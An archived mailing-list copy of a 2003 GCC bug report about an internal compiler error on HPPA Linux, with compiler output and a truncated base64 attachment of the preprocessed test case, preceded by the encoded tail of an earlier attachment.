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


From - Thu Nov 08 21:27:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c++/10235: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
Date: 27 Mar 2003 05:33:19 -0000
Lines: 2339
Approved: news@gmane.org
Message-ID: <20030327053319.22475.qmail__25775.3001446419$1416622339$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622339 23812 80.91.229.3 (22 Nov 2014 02:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:19 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 22:36:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id E5991482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 22:36:21 -0700 (MST)
Original-Received: (qmail 24270 invoked by uid 71); 27 Mar 2003 05:36:02 -0000
Resent-Date: 27 Mar 2003 05:36:02 -0000
Resent-Message-ID: <20030327053602.24269.qmail@sources.redhat.com>
Resent-From: gcc-gnats@gcc.gnu.org (GNATS Filer)
Resent-To: nobody@gcc.gnu.org
Resent-Cc: gcc-prs@gcc.gnu.org, gcc-bugs@gcc.gnu.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Resent-Reply-To: gcc-gnats@gcc.gnu.org,
	Randolph Chung <tausq@debian.org>
Original-Received: (qmail 22476 invoked by uid 48); 27 Mar 2003 05:33:19 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18106

>Number:         10235
>Category:       c++
>Synopsis:       [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Arrival-Date:   Thu Mar 27 05:36:00 UTC 2003
>Closed-Date:
>Last-Modified:
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        gcc-3.3
>Organization:
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

        <machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v
--enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr
--mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc
hppa-linux
>Description:
3.2.3 doesn't ICE, nor does 3.3 when compiled with -O1 or without -g. Unfortunately I didn't have much luck trying to trim this down, so it's a fairly large test case :( 

sh-2.05b# g++ -v -O2 -g bug.ii
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030309 (Debian prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.3/cc1plus -fpreprocessed bug.ii -quiet -dumpbase bug.ii -auxbase bug -g -O2 -version -o /tmp/cc1Jcd31.s
GNU C++ version 3.3 20030309 (Debian prerelease) (hppa-linux)
        compiled by GNU C version 3.3 20030309 (Debian prerelease).
GGC heuristics: --param ggc-min-expand=98 --param ggc-min-heapsize=127480
bug.ii:21281: warning: `std::basic_filebuf<_CharT, _Traits>::int_type' is
   implicitly a typename
bug.ii:21281: warning: implicit typename is deprecated, please see the
   documentation for details
bug.ii:21285: warning: `std::basic_filebuf<_CharT, _Traits>::int_type' is
   implicitly a typename
bug.ii:21285: warning: implicit typename is deprecated, please see the
   documentation for details
bug.ii: In member function `void PLib::NurbsCurve<T, N>::globalInterpD(const
   PLib::Vector<PLib::Point_nD<T, D> >&, const PLib::Vector<PLib::Point_nD<T,
   D> >&, int, int, T) [with T = float, int N = 2]':
bug.ii:27797:   instantiated from here
bug.ii:25709: internal compiler error: in final_scan_insn, at final.c:2099
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
>How-To-Repeat:

>Fix:

>Release-Note:
>Audit-Trail:
>Unformatted:
----gnatsweb-attachment----
Content-Type: application/x-gzip-compressed; name="bug.ii.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bug.ii.gz"

H4sICLqKgj4CA2J1Zy5paQDs/ft72zayMI7/7r+C6fc5+UiOklpqtttjO97HTdzW70mcvLazl9O3
y4eWKJuNRKoU5cum3r/9i/t1AIIU7Tjd9OyJRVwGM4PBYAAMBul1lZZ59NXLr6KPG9XNIp2k02hS
rM5maTSdFUkVVztmOv2DM1Jam6Un42IZ9dhHHF/3o+qiLK6iXn8n0kvGsaesCXWZ5cFQ3WVNqFUS
DtVdFoA6UoreDKLwJkIqGu01YHgwvxuwO5jbDZgdzGtE0EUD4i+Cqb9oQP5FMP0XDRhQB/WyyCYY
U6NPhcxsEty0b1QUapVAIqXbwwK0wEUTNXARrgcumiiCi/Axe9FEFQTCTa8XoVDdRQ2Y09IoOoiy
vMJ9gtKLPM0rXzONahstzyZg3bCGm1Q22y3OQ7noLmrDHG41gOosbMCdF5Opawxli6r0NdOgri1n
4dT4ChtwF8VVOFxfYRvf+bABvs7CQK8umvTqIhjuWQOwZ8FcGDVgwigY11EDXEfBkgCKJjJTamQi
oJo5//5WVsHzr7usAfXiZlFUbWgIrWjaJmfhVHjKmlDTbAaXJDNTVWZnqyqN46jXw5N0vqziuA+1
2A6OORclZ8susGkJx8RmVhRlJ+i0BGTigxR6G4ELrMdbo9Nohqwddfa4TGartCHeFNI0y7Mq7QBU
Vyh1ghBft5bpvE2fBNazVhLneTbNxkk+CV9Q1FWx1kCLG1ypHruGGqIbuAa2OV7asfxofJGU2Lip
